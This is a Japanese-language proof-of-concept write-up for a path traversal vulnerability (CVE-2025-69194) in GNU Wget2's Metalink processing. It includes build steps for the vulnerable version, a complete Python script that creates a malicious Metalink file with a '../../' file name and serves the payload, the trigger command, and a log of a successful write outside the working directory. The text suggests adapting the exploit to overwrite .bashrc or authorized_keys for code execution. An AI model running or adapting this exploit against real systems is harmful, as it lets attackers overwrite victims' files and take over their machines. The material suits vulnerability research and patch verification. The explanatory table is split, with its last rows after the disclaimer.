
CVE-2025-69194 のPoCです。これはGNU Wget2 <= 2.2.0(v1.99.1で確認済み)における深刻なパストラバーサル脆弱性です。この脆弱性により、攻撃者は悪意のあるMetalinkファイルに細工されたfile name属性を仕込むことで、被害者のファイルシステム上で任意のファイル書き込みまたは上書きを実現できます。
Wget2が--force-metalinkオプションを使用してMetalinkファイルを処理する際、ディレクトリトラバーサルシーケンス(例:../../)を適切にサニタイズしません。これにより、攻撃者が.bashrcや.ssh/authorized_keysなどの機密システムファイルやシステムバイナリを上書きした場合、リモートコード実行(RCE) につながる可能性があります。
脆弱性を正確に再現するために、Wget2 v1.99.1 をソースからコンパイルし、脆弱なMetalinkモジュールがアクティブでパッチ適用前の状態であることを確認します。
sudo apt update && sudo apt install -y build-essential libgnutls28-dev libxml2-dev \
libzstd-dev liblzma-dev libpcre2-dev libidn2-dev libpsl-dev \
libbrotli-dev autoconf automake libtool gettext pkg-config python3
wget https://ftp.gnu.org/gnu/wget/wget2-1.99.1.tar.gz
tar -xvf wget2-1.99.1.tar.gz && cd wget2-1.99.1
./configure --with-libxml2
make -j$(nproc)
sudo make install && sudo ldconfig
# インストールの確認(+metalink サポートが必要)
wget2 --version | grep -E "1.99.1|metalink"
攻撃者は悪意のある .metalink ファイルと対応するペイロードをホストします。以下を poc.py として保存してください:
import os
import hashlib
import http.server
import socketserver
import threading
import time
# --- 配置区 ---
TARGET_FILE_NAME = "../../pwned_test.txt" # 想要穿越到的目标路径
PAYLOAD_CONTENT = "pwned by CVE-2025-69194\n"
PORT = 8000
METALINK_FILE = "exploit.metalink"
PAYLOAD_FILE = "evil.dat"
def create_files():
# 1. 创建载荷文件
with open(PAYLOAD_FILE, "w") as f:
f.write(PAYLOAD_CONTENT)
# 计算 SHA256
sha256_hash = hashlib.sha256(PAYLOAD_CONTENT.encode()).hexdigest()
file_size = len(PAYLOAD_CONTENT)
# 2. 构造恶意的 Metalink 结构
metalink_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<metalink xmlns="http://www.metalinker.org/">
<files>
<file name="{TARGET_FILE_NAME}">
<size>{file_size}</size>
<verification>
<hash type="sha256">{sha256_hash}</hash>
</verification>
<resources>
<url type="http">http://127.0.0.1:{PORT}/{PAYLOAD_FILE}</url>
</resources>
</file>
</files>
</metalink>
'''
with open(METALINK_FILE, "w") as f:
f.write(metalink_content)
print(f"[+] 恶意文件 {METALINK_FILE} 已生成。")
def start_server():
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", PORT), handler) as httpd:
print(f"[*] 恶意服务器已在端口 {PORT} 启动...")
httpd.serve_forever()
if __name__ == "__main__":
# 清理旧文件
if os.path.exists(TARGET_FILE_NAME):
os.remove(TARGET_FILE_NAME)
create_files()
# 启动后台服务器
server_thread = threading.Thread(target=start_server, daemon=True)
server_thread.start()
time.sleep(1) # 等待服务器就绪
print("\n[!] 现在请在另一个终端执行以下命令进行复现:")
print(f"wget2 --force-metalink -i {METALINK_FILE}")
print(f"\n[!] 执行后,检查目标文件是否存在:")
print(f"ls {TARGET_FILE_NAME} && cat {TARGET_FILE_NAME}")
# 保持主线程运行
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[+] 演示结束,正在清理...")
サブディレクトリ(例:~/Downloads/CVE-2025-69194/)で次のコマンドを実行して、ディレクトリ外への脱出を確認します:
# 事前確認: 親の親ディレクトリにファイルが存在しないことを確認
ls ../../pwned_test.txt
# エクスプロイトを実行
wget2 --force-metalink -i exploit.metalink
この脆弱性は、name 属性が正規化なしに信頼されるMetalink解析ロジックに存在します。
| フェーズ | 説明 |
|---|---|
| 入力 | Wget2が <file name="../../pwned_test.txt"> を読み取ります。 |
再現に成功した実証では、実行フォルダの2つ上の階層に pwned_test.txt が作成されました:
lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt
ls: cannot access '../../pwned_test.txt': No such file or directory
lele@u22:~/Downloads/CVE-2025-69194$ wget2 --force-metalink -i exploit.metalink
downloading part 1/1 (0-23) ../../pwned_test.txt from 127.0.0.1
HTTP response 200 OK [http://127.0.0.1:8000/evil.dat]
part 1 downloaded
../../pwned_test.txt checking...
Checksum OK for '../../pwned_test.txt'
lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt && cat ../../pwned_test.txt
../../pwned_test.txt
pwned by CVE-2025-69194

このツールは教育目的および許可されたセキュリティテストのみのために提供されています。作者は、この情報の誤用によって引き起こされたいかなる損害についても責任を負いません。コンピュータシステムへの不正アクセスは固く禁止されています。
| バイパス | パスに ../ が含まれているか、CWDの外へ出ようとしているかのチェックは行われません。 |
| 書き込み | Wget2は解決されたパス CWD + ../../pwned_test.txt を開き、検証済みペイロードを書き込みます。 |